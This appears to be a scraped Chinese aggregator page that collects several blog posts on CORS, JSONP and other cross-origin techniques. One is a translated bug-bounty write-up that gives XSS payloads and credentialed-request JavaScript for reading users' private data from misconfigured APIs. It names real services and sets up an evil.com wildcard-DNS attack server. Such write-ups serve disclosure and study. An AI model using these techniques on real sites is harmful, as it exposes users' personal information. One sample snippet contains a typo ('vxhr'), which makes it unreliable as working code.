精华内容
下载资源
问答
  • JavaScript_js跨域资源共享 基础篇,本文详细介绍了javascript跨域资 - phpStudy
    2021-04-11 09:48:56

    js跨域资源共享 基础篇

    本文详细介绍了javascript跨域资源共享,供大家参考,具体内容如下

    1.为什么提出跨域资源共享(CORS)?    因为XHR实现ajax的安全限制是:XHR 对象只能访问与包含它的页面位于同一个域中的资源

    2.如何实现跨域?(跨浏览器)

    // 跨浏览器创建并返回CORS对象

    // param method : 请求的方式, get or post

    // param url : 跨域请求的url

    // return xhr : 返回的跨域资源对象

    function createCORSRequest(method, url){

    var xhr = new XMLHttpRequest();

    if ("withCredentials" in xhr){

    xhr.open(method, url, true); // CORS都是通过异步的请求

    } else if (typeof XDomainRequest != "undefined"){ // IE

    vxhr = new XDomainRequest();

    xhr.open(method, url);

    } else {

    xhr = null;

    }

    return xhr;

    }

    var request = createCORSRequest("get", "http://localhost/aaa/dome2.php");

    if (request){

    // 用于替代onreadystatechange 检测成功,表示接受数据完毕

    request.onload = function(){

    // 对响应的信息进行处理

    alert(request.responseText); // 取得响应的内容

    };

    // 用于替代onreadystatechange 检测错误。

    request.onerror = function(){

    // 对响应的信息进行处理

    };

    // 用于停止正在进行的请求。

    request.onabort = function(){

    // 对响应的信息进行处理

    alert(request.responseText);

    };

    // 跨域发送请求

    request.send();

    }

    以上就是本文的全部内容,希望对大家的学习有所帮助。相关阅读:

    c#检测文本文件编码的方法

    深入浅析Bootstrap列表组组件

    MySQL中describe命令的使用方法小结

    JavaScript节点及列表操作实例小结

    MySQL慢查询优化之慢查询日志分析的实例教程

    实例讲解php数据访问

    Android开发常用标签小结

    JavaScript实现文本框中默认显示背景图片在获得焦点后消失的方法

    js自动生成对象的属性示例代码

    在Linux系统中给iptables规则添加注释的教程

    跟我学Laravel之路由

    基于JavaScript代码实现自动生成表格

    PHP输出当前进程所有变量/常量/模块/函数/类的示例

    WIN10系统自带照片软件怎么调节照片阴影?

    更多相关内容
  • js跨域资源共享

    2018-08-07 17:52:49
    跨域资源共享 1、CORS 基本思想:使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或相应是否成功,还是失败。 CORS原理:只需要向响应头header中注入Access-Control-Allow-Origin,...

    同源策略

    同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。只要协议、域名、端口有任何一个不同,都被当作是不同的域。

    跨域资源共享

    1、CORS

    基本思想:使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或相应是否成功,还是失败。

    CORS原理:只需要向响应头header中注入Access-Control-Allow-Origin,这样浏览器检测到header中的Access-Control-Allow-Origin,则就可以跨域操作了。如果没有这个头部或者有这个头部但源信息不匹配,浏览器就会驳回请求。

    基本流程:

    对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。

    下面是一个例子,浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段。

    
    GET /cors HTTP/1.1
    Origin: http://api.bob.com
    Host: api.alice.com
    Accept-Language: en-US
    Connection: keep-alive
    User-Agent: Mozilla/5.0...
    

    上面的头信息中,Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

    如果Origin指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequestonerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。

    如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

    
    Access-Control-Allow-Origin: http://api.bob.com
    Access-Control-Allow-Credentials: true
    Access-Control-Expose-Headers: FooBar
    Content-Type: text/html; charset=utf-8
    

    上面的头信息之中,有三个与CORS请求相关的字段,都以Access-Control-开头。

    (1)Access-Control-Allow-Origin

    该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

    (2)Access-Control-Allow-Credentials

    该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。

    (3)Access-Control-Expose-Headers

    该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。

    需要注意的是,如果要发送Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

    2、图像Ping

           图像Ping跨域请求技术是使用<img>标签。一个网页可以从任何网页中加载图像,不用担心跨域不跨域。这也是在线广告跟踪浏览量的主要方式。也可以动态地创建图像,使用它们的onload和onerror事件处理程序来确定是否接收到了响应

      动态创建图像经常用于图像Ping:图像Ping是与服务器进行简单、单向的跨域通信的一种方式。 请求的数据是通过査询字符串形式发送的,而响应可以是任意内容,但通常是像素图或204响应。通过图像Ping,浏览器得不到任何具体的数据,但通过侦听load和error事件,它能知道响应是什么时候接收到的

    var img = new Image();
    img.onload = img.onerror = function(){
        alert("Done!");
    };
    img.src = "test.html?sum=a";

      这里创建了一个Image的实例,然后将onload和onerror事件处理程序指定为同一个函数。这样无论是什么响应,只要请求完成,就能得到通知。请求从设置src属性那一刻开始,而这个例子在请求中发送了一个sum参数

    图像Ping有两个主要的缺点,一是只能发送GET请求,二是无法访问服务器的响应文本。因此,图像Ping只能用于浏览器与服务器间的单向通信。

    3、JSONP

    JSONP:是JSON  with padding(填充式JSON或参数式JSON)的简写,它由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数,回调函数的名字一般是在请求中指定的,而数据就是传入回调函数中的JSON数据。

    原理:如果一个页面加载了一个外来的JS文件,浏览器就会自动执行这个文件中的代码。

    JSONP是通过动态<script>元素来是用的,使用时可以为src属性指定一个跨域URL。因为JSONP是有效的js代码,所以在请求完成后,即在JSONP相应加载到页面中以后,就会立即执行。

    JSONP之所以在开发人员中极为流行,主要是原因是它非常简单易用。与图像Ping相比,它的优点在于能够直接访问相应文本,支持在浏览器与服务器之间双向通信。实例:

    前端:

    <!DOCTYPE html>
    <head>
        <title>jsonp</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    </head>
    <body>
    <script>
        //动态创建script标签,并请求
        function addScriptTag(src){
            var script = document.createElement('script');
            script.setAttribute('type', 'text/javascript');
            script.src = src;
            document.body.appendChild(script);
        };
        //在onload后,跨域请求
        window.onload = function(){
            addScriptTag('http://127.0.0.1:8080/jsonp?callback=test');
        };
        //回调函数,必须为全局,不然会报错
        function test(data){
            alert(data.name);
        };
    </script>
    </body>
    </html>

    sever:

    //告诉Node.js引入http模块给该服务器应用使用
    var http = require('http');
    //引入url模块解析url字符串
    var url = require('url');
    //引入querystring模块处理query字符串
    var querystring = require('querystring');
    //创建新的HTTP服务器
    var server = http.createServer();
    //通过request事件来响应request请求
    server.on('request',function(req, res){
        var urlPath = url.parse(req.url).pathname;
        var qs = querystring.parse(req.url.split('?')[1]);
        if(urlPath === '/jsonp' && qs.callback){
            res.writeHead(200,{'Content-Type':'application/json;charset=utf-8'});
            var data = {
                "name": "Monkey"
            };
            data = JSON.stringify(data);
            var callback = qs.callback+'('+data+');';
            res.end(callback);
        }
        else{
            res.writeHead(200, {'Content-Type':'text/html;charset=utf-8'});
            res.end('Hell World\n');
        }
    });
    //监听8080端口
    server.listen('8080');
    //用于提示我们服务器启动成功
    console.log('Server running!');

    缺点:

    1.JSONP是从其他域中加载代码执行。如果其他域不安全,则可能会夹杂恶意代码。

    2.要确定JSONP请求失败并不容易。

    3.只能使用get方式进行提交,不适合数据量较大请求。

    4、Comet

    Comet是一种服务器向页面推送数据的技术,两种实现方式:长轮询和流。

    5、SSE

    SSE是围绕制度Comet交互推出的API或者模式,SSE API用于创建到服务器的单向连接,服务器通过这个连接可以发送任意数量的数据。

    6、Web Sockets(在独立持久连接上提供全双工、双向通信)

    使用标准的HTTP服务器无法实现,只有支持这种协议的专门服务器才能正常工作。

     

     

     

    展开全文
  • 跨域资源共享CORS

    2021-04-07 16:33:29
    1、背景 在前后端分离的开发模式中,数据的获取并非同源,所有就出现了跨域的问题。... CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。允许浏览器向跨源服务器,发出XMLHt...

    1、背景

           在前后端分离的开发模式中,数据的获取并非同源,所有就出现了跨域的问题。什么时候产生跨域呢?广义的跨域是值浏览器为了一定的安全因素,增加了同源策略。有违同源策略的操作都是被禁止的,这个时候就会发生我们所说的跨域。如果有没有同源策略,则会发送请求发出去了,数据没回来。狭义的跨域是指ajax请求无法完成。

     

    2、简介

           CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。CORS需要浏览器和服务器同时支持,才可以实现跨域请求,目前几乎所有浏览器都支持CORS,IE则不能低于IE10。CORS的整个过程都由浏览器自动完成,前端无需做任何设置,跟平时发送ajax请求并无差异。所以要实现CORS的关键在于服务器,只要服务器实现CORS接口,就可以实现跨域通信。

     

    3、请求类型

    (1)简单请求(simple request)

           满足一下两个条件即为简单请求:

    (a)请求方法是以下三种方法之一:

    • HEAD
    • GET
    • POST

    (b)HTTP的头信息不超出以下几种字段:

    • Accept
    • Accept-Language
    • Content-Language
    • Last-Event-ID
    • Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

    (2)非简单请求(预检请求,not-so-simple request)

           凡是不满足简单请求的即为非简单请求,具体为满足以下两个条件:

    (a)使用了下面任一 HTTP 方法:

    • PUT
    • DELETE
    • CONNECT
    • OPTIONS
    • TRACE
    • PATCH

     (b)Content-Type 的值不属于下列之一:

    • application/x-www-form-urlencoded
    • multipart/form-data
    • text/plain

     

    4、简单请求

    (1)基本流程

           对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。

    下面是一个例子,浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段。

    • GET /cors HTTP/1.1
    • Origin: http://api.bob.com
    • Host: api.alice.com
    • Accept-Language: en-US
    • Connection: keep-alive
    • User-Agent: Mozilla/5.0...

           上面的头信息中,Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

           如果Origin指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequest的onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。

           如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

    • Access-Control-Allow-Origin: http://api.bob.com
    • Access-Control-Allow-Credentials: true
    • Access-Control-Expose-Headers: FooBar
    • Content-Type: text/html; charset=utf-8

    上面的头信息之中,有三个与CORS请求相关的字段,都以Access-Control-开头。

    (a)Access-Control-Allow-Origin

           该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

    (b)Access-Control-Allow-Credentials

           该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。

    (c)Access-Control-Expose-Headers

           该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。

    (2)withCredentials 属性

           上面说到,CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。

    Access-Control-Allow-Credentials: true
    

           另一方面,开发者必须在AJAX请求中打开withCredentials属性。

    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;

           否则,即使服务器同意发送Cookie,浏览器也不会发送。或者,服务器要求设置Cookie,浏览器也不会处理。

           但是,如果省略withCredentials设置,有的浏览器还是会一起发送Cookie。这时,可以显式关闭withCredentials。

    xhr.withCredentials = false;
    

           需要注意的是,如果要发送Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

     

    5、非简单请求

    (1)预检请求

           非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight)。

           浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。

    下面是一段浏览器的JavaScript脚本。

    • var url = 'http://api.alice.com/cors';
    • var xhr = new XMLHttpRequest();
    • xhr.open('PUT', url, true);
    • xhr.setRequestHeader('X-Custom-Header', 'value');
    • xhr.send();

           上面代码中,HTTP请求的方法是PUT,并且发送一个自定义头信息X-Custom-Header。

           浏览器发现,这是一个非简单请求,就自动发出一个"预检"请求,要求服务器确认可以这样请求。下面是这个"预检"请求的HTTP头信息。

    OPTIONS /cors HTTP/1.1
    Origin: http://api.bob.com
    Access-Control-Request-Method: PUT
    Access-Control-Request-Headers: X-Custom-Header
    Host: api.alice.com
    Accept-Language: en-US
    Connection: keep-alive
    User-Agent: Mozilla/5.0...
    

           "预检"请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。

           除了Origin字段,"预检"请求的头信息包括两个特殊字段。

    (a)Access-Control-Request-Method

           该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT。

    (b)Access-Control-Request-Headers

           该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header。

    (2)预检请求的回应

           服务器收到"预检"请求以后,检查了Origin、Access-Control-Request-Method和Access-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。

    HTTP/1.1 200 OK
    Date: Mon, 01 Dec 2008 01:15:39 GMT
    Server: Apache/2.0.61 (Unix)
    Access-Control-Allow-Origin: http://api.bob.com
    Access-Control-Allow-Methods: GET, POST, PUT
    Access-Control-Allow-Headers: X-Custom-Header
    Content-Type: text/html; charset=utf-8
    Content-Encoding: gzip
    Content-Length: 0
    Keep-Alive: timeout=2, max=100
    Connection: Keep-Alive
    Content-Type: text/plain
    

           上面的HTTP回应中,关键的是Access-Control-Allow-Origin字段,表示http://api.bob.com可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。

    Access-Control-Allow-Origin: *
    

           如果服务器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。

    XMLHttpRequest cannot load http://api.alice.com.
    Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.
    

           服务器回应的其他CORS相关字段如下。

    Access-Control-Allow-Methods: GET, POST, PUT
    Access-Control-Allow-Headers: X-Custom-Header
    Access-Control-Allow-Credentials: true
    Access-Control-Max-Age: 1728000
    

    (a)Access-Control-Allow-Methods

           该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次"预检"请求。

    (b)Access-Control-Allow-Headers

           如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。

    (c)Access-Control-Allow-Credentials

           该字段与简单请求时的含义相同。

    (d)Access-Control-Max-Age

           该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。

    (3)浏览器的正常请求和回应

           一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。

    下面是"预检"请求之后,浏览器的正常CORS请求。

    PUT /cors HTTP/1.1
    Origin: http://api.bob.com
    Host: api.alice.com
    X-Custom-Header: value
    Accept-Language: en-US
    Connection: keep-alive
    User-Agent: Mozilla/5.0...
    

    上面头信息的Origin字段是浏览器自动添加的。下面是服务器正常的回应。

    Access-Control-Allow-Origin: http://api.bob.com
    Content-Type: text/html; charset=utf-8
    

    上面头信息中,Access-Control-Allow-Origin字段是每次回应都必定包含的。

    注:与JSONP的比较

    CORS与JSONP的使用目的相同,但是比JSONP更强大。

    JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

     

     

    参考:http://www.ruanyifeng.com/blog/2016/04/cors.html

    展开全文
  • 本文我将为大家介绍两种CORS错误配置漏洞利用的情况:第一种情况是基于XSS,第二种情况是基于高级的CORS利用技术。 注意:在开始阅读本文之前,你需要基本了解CORS是什么以及如何利用其错误配置漏洞。这里有一些很很...

    secist 2019-06-05 15:00:51 1077577 4
    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

    嗨,大家好!我是来自摩洛哥的安全研究员Ayoub。本文我将为大家介绍两种CORS错误配置漏洞利用的情况:第一种情况是基于XSS,第二种情况是基于高级的CORS利用技术。

    注意:在开始阅读本文之前,你需要基本了解CORS是什么以及如何利用其错误配置漏洞。这里有一些很很不错的文章你可以参阅学习:

    Portswigger’s Post

    Geekboy’s Post

    第一种情况
    易受攻击端点
    大约一年多前,我参与了HackerOne的私人项目。在HTTP请求中使用Origin标头后,我检查了服务器响应以确定它们是否进行了域白名单检查,最终我发现应用程序只是将子域列入了白名单,甚至是那些并不存在的子域。

    出于隐私保护和负责任的披露政策,这里我假设Web应用程序托管在:www.redacted.com

    这个CORS配置错误看起来如下:

    HTTP 请求
    GET /api/return HTTP/1.1
    Host: www.redacted.com
    Origin: evil.redacted.com
    Connection: close
    HTTP 响应
    HTTP/1.1 200 OK
    Access-control-allow-credentials: true
    Access-control-allow-origin: evil.redacted.com
    此API端点返回用户的私人信息,如全名,电子邮件地址等。

    想要滥用这种错误配置并执行攻击,如泄露用户的私人信息,我们需要声明一个废弃的子域(子域名接管),或在其中一个现有子域中找到XSS。

    范围之外的思考
    想找到一个废弃的子域并不容易,所以我决定还是在一个现有的子域中找到XSS。但是,该私有程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS肯定不在其范围内,但是将该XSS与CORS错误配置链接在某种程度上来说应该算是在范围之内的。对吧?

    并且由于其他子域不在范围内,因此其他黑客也就不会测试它们,这样一来我在这些子域上找到XSS的概率就非常大了!

    如我所料,在不到一小时的时间里,我就在banques.redacted.com上发现了一个XSS,使用的payload如下:

    https://banques.redacted.com/choice-quiz?form_banque=">&form_cartes=73&iframestat=1
    1.png

    现在,是时候创建一个PoC,并提交报告了!

    利用再现:
    要利用此CORS配置错误漏洞,我们只需使用以下代码替换payload alert(document.domain):

    function cors() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
    if (this.status == 200) {
    alert(this.responseText);
    document.getElementById(“demo”).innerHTML = this.responseText;
    }
    };
    xhttp.open(“GET”, “https://www.redacted.com/api/return”, true);
    xhttp.withCredentials = true;
    xhttp.send();
    }
    cors();
    就像这样:

    https://banques.redacted.com/choice-quiz?form_banque=">&form_cartes=73&iframestat=1
    现在,我们拥有了一个非常好用的PoC:

    2.png

    奖励
    3.png

    现在,如果我告诉你,你仍然可以滥用该问题而无需在任何现有子域或声称已废弃的子域中找到XSS呢?

    这正是我们在第二个案例中将要讨论的内容。

    第二种情况
    易受攻击端点
    这一次,我的任务对象是Ubnt程序,尤其是托管在该网址的应用程序:https://protect.ubnt.com/

    按照相同的过程,我确定了CORS配置错误,类似于前一种情况,但这次应用程序是从另一个位置获取用户的私人信息,一个API托管在:https://client.amplifi.com/api/user/

    此应用程序还将任意子域列入了白名单,甚至是不存在的子域。

    4.png

    想要滥用这种CORS错误配置,你需要先声明一个废弃子域,或在一个现有的子域中找到XSS。

    因为这是一个公开项目,范围较广(所有子域都在范围内); 因此,找到XSS的可能性也就小了很多,甚至也没有提到子域名接管漏洞。

    那么,是不是我们就没办法了呢?

    高级 CORS 利用技术
    嗯,事实证明,还有另一种方式,但需要满足一定的条件才行。

    这里可以找到一个有趣的研究。显示可以绕过一些使用域名内特殊字符错误实现的控件。

    该研究基于以下事实:浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,浏览器当前可以提交请求,而无需事先验证域名是否有效和存在。

    示例
    让我们尝试打开一个包含特殊字符的URL,如:http://asdf`+=.withgoogle.com。大多数浏览器会在发出任何请求之前验证域名。

    域名withgoogle.com用作演示,因为它具有通配符DNS记录

    Chrome:

    5.png

    Firefox:

    6.png

    Safari:

    7.png

    正如你所看到的,Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其他浏览器不同。

    我们可以使用各种不同的字符,甚至是不可打印的字符:

    ,&’";!$^*()+=`~-_=|{}%

    // non printable chars
    %01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
    此外,Davide Danelon还完成了另一项研究可以在这里找到,表明这些特殊字符的其他子集也可用于其他浏览器。

    8.png

    知道了这些后,下面就是利用环节了。让我们回到易受攻击的Web应用程序:https://client.amplifi.com/

    新方法
    在这种情况下,Web应用程序还接受以下Origin *.ubnt.com!.evil.com

    9.png

    不只是字符“!”,还包括以下字符:

    *.ubnt.com!.evil.com
    *.ubnt.com".evil.com
    *.ubnt.com$.evil.com
    *.ubnt.com%0b.evil.com
    *.ubnt.com%60.evil.com
    *.ubnt.com&.evil.com
    *.ubnt.com’.evil.com
    *.ubnt.com(.evil.com
    *.ubnt.com).evil.com
    .ubnt.com.evil.com
    *.ubnt.com,.evil.com
    *.ubnt.com;.evil.com
    *.ubnt.com=.evil.com
    *.ubnt.com^.evil.com
    *.ubnt.com`.evil.com
    *.ubnt.com{.evil.com
    *.ubnt.com|.evil.com
    *.ubnt.com}.evil.com
    *.ubnt.com~.evil.com
    你现在应该知道了某些浏览器(如Safari)接受具有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com

    因此,如果我们使用通配符DNS记录设置了一个域:evil.com,允许将所有子域(*.evil.com)指向www.evil.com,它将在类似www.evil.com/cors-poc的页面中托管一个脚本,该页面将向易受攻击的端点发送一个以子域名为起始值的跨域请求。

    然后,我们强制让一个经过身份验证的用户打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc

    从理论上讲,我们可以将这个用户的私人信息泄露出去。

    利用再现:

    1.首先,设置一个带有通配符DNS记录的域,将其指向你的机器,在本例中我使用GoDaddy来托管我的域,配置如下:

    10.png

    2.安装NodeJS,创建一个新目录,然后在其中保存以下文件:

    serve.js

    var http = require(‘http’);
    var url = require(‘url’);
    var fs = require(‘fs’);
    var port = 80

    http.createServer(function(req, res) {
    if (req.url == ‘/cors-poc’) {
    fs.readFile(‘cors.html’, function(err, data) {
    res.writeHead(200, {‘Content-Type’:‘text/html’});
    res.write(data);
    res.end();
    });
    } else {
    res.writeHead(200, {‘Content-Type’:‘text/html’});
    res.write(‘never gonna give you up…’);
    res.end();
    }
    }).listen(port, ‘0.0.0.0’);
    console.log(Serving on port ${port});
    3.在同一目录中,保存以下内容:

    cors.html

    CORS
    cors proof-of-concept:


    4.通过运行以下命令启动NodeJS服务器:

    node serve.js &
    5.现在,登录到https://protect.ubnt.com/,并检查你是否可以从端点检索你的帐户信息:https://client.amplifi.com/api/user/

    6.最后,在Safari浏览器中打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc。

    在我的例子中,我使用iPhone中的Safari浏览器作为PoC,因为我没有Mac电脑。

    11.jpeg

    奖励
    12.png

    总结
    我相信在Hacker One上你能找到很多有关这类CORS错误配置的报告,但只有少数人能够充分利用它,因为他们的报告中缺少PoC。这就是我分享经验的原因之一,并同时强调利用此类漏洞的其他技术。

    最后,永远记住,范围之外的思考可能会带给你成功。

    感谢阅读!欢迎在Twitter上关注我https://twitter.com/sandh0t。

    参考文献
    Portswigger 文章

    Geekboy 文章

    Corben Leo 相关研究

    Davide Danelon 相关研究

    *参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

    展开全文
  • 跨域资源共享漏洞分析总结(含实战)

    千次阅读 多人点赞 2020-04-29 14:15:19
    文章目录跨源资源共享(CORS)浏览器的同源策略概念特点主要功能跨域主要跨域请求方法JSONP跨域CORS跨域CORS的安全问题三种不安全的配置引起的安全问题通过CORS信任关系 利用XSS使用错误的CORS破坏TLS防御CORS如何预防...
  • CORS跨域资源共享漏洞

    2020-04-15 11:32:50
    同源策略(SOP)限制了应用程序之间的信息共享,并且仅允许在托管应用程序的域内共享。这有效防止了系统机密信息的泄露。但与此同时,也带来了另外的问题。随着Web应用程序和微服务使用的日益增长,出于实用目的往往...
  • 禁止chrome中CORS跨域资源共享错误

    千次阅读 2016-10-13 09:12:00
    在开发中,可以通过命令行命令chrome --allow-file-access-from-files来 禁止CORS错误。 只在紧急情况下使用这个方法,比如你的老板正站在你身后, 并且所有事情都无法正常工作 转载于:...
  • 跨域资源共享(CORS)详解

    千次阅读 2018-12-26 20:51:08
    一、跨域请求: ...二、跨域资源共享(CORS): 出于安全原因,浏览器限制从脚本内发起的跨域HTTP请求。 例如,XMLHttpRequest遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同...
  • CORS全称:Cross-Origin Resource Sharing中文意思:跨域资源共享?好吧,目前中文方面的资料还比较少,能搜索到的那仅有的几篇相关介绍,也几乎是雷同的。最近工作上也有用到CORS的地方,随便做点分享吧,也当是...
  • 这个 CORS 指的是跨域资源共享。现在我们的这个客户端应用的地址跟它请求的服务端应用的接口不属于同一个域,虽然都是 localhost ,但是它们用的端口不一样,所以也不属于同一个域。这种情况如果客户端想要请求使用...
  • 跨域资源共享(CORS)问题解决方案

    千次阅读 2018-04-28 10:22:23
    CORS:Cross-Origin Resource Sharing(跨域资源共享)CORS被浏览器支持的版本情况如下:Chrome 3+、IE 8+、Firefox 3.5+、Opera 12+、Safari 4+问题描述:A域中的脚本请求B域中的资源出现这种问题报错信息:...
  • 跨域资源共享CORS学习笔记

    千次阅读 多人点赞 2017-12-19 12:34:56
    跨域资源共享CORS学习笔记1、同源政策含义1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。最初,它的含义是指,A网页设置的 Cookie,B网页不能打开,除非这两个网页”同源”。所谓”...
  • CORS跨域笔记,有待补全
  • CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。 CORS需要浏览器和服务器同时支持。目前所有...
  • 大家在使用Ajax技术的时候肯定多少都遇到过跨域问题,...*跨域安全策略是通过xhr对象实现Ajax通信的主要限制,默认情况下xhr对象只能访问同源资源(协议,域名,端口完全相同)*。只要有一个不同,请求都不能正常完成。
  • 概述本文主要介绍跨域资源共享(Cross Origin Resource Sharing,简称CORS)配置的常见错误及解决方案。详细信息配置项CORS的配置方法一般是针对每个访问来源单独配置规则,勿将多个来源加到一个规则,多个规则之间...
  • OSS跨域资源共享(CORS)错误及排除

    千次阅读 2016-08-29 16:52:04
    跨域资源共享(Cross-Origin Resource Sharing, CORS),介绍及配置请参看 跨域资源共享使用指南 。 配置项 CORS配置有以下几项: 来源(AllowedOrigin):允许跨域请求的来源,可以同时指定多个。配置时需带上完整的...
  • JavaScript第二十二章 跨域资源共享

    万次阅读 2019-11-13 20:34:59
    跨域是指一个域下的文档或脚本试图去请求另一个域下的资源,这里跨域是广义的。 广义的跨域: 资源跳转: A链接、重定向、表单提交 资源嵌入: 、什么是同源策略? 同源策略/SOP(Same origin policy)是一种约定,...
  • 跨域资源共享(CORS)安全性背景 提起浏览器的同源策略,大家都很熟悉。不同域的客户端脚本不能读写对方的资源。但是实践中有一些场景需要跨域的读写,所以出现了一些hack的方式来跨域。比如...
  • 【Web漏洞】CORS跨域资源共享漏洞

    千次阅读 2020-03-12 11:11:47
    文章目录CORS跨域资源共享简单跨域请求非简单请求CORS的安全问题CORS漏洞的利用 有关于浏览器的同源策略和如何跨域获取资源,传送门 -->浏览器同源策略和跨域的实现方法 同源策略(SOP)限制了应用程序之间的信息...
  • 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。 通过这种方式解决跨域问题的话,会在发送请求时出现两种情况,分别为简单请求和复杂请求。 1.简单请求 允许的方法之一: G.
  • 跨域资源共享Cors

    2021-04-14 10:47:53
    跨域资源共享Cors CORS是什么 跨域资源共享(CORS,Cross-origin resource sharing),是W3C标准,是一种机制,它使用额外的HTTP头来告诉浏览器,让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源...
  • 跨域资源共享 CORS

    千次阅读 2017-09-27 23:25:06
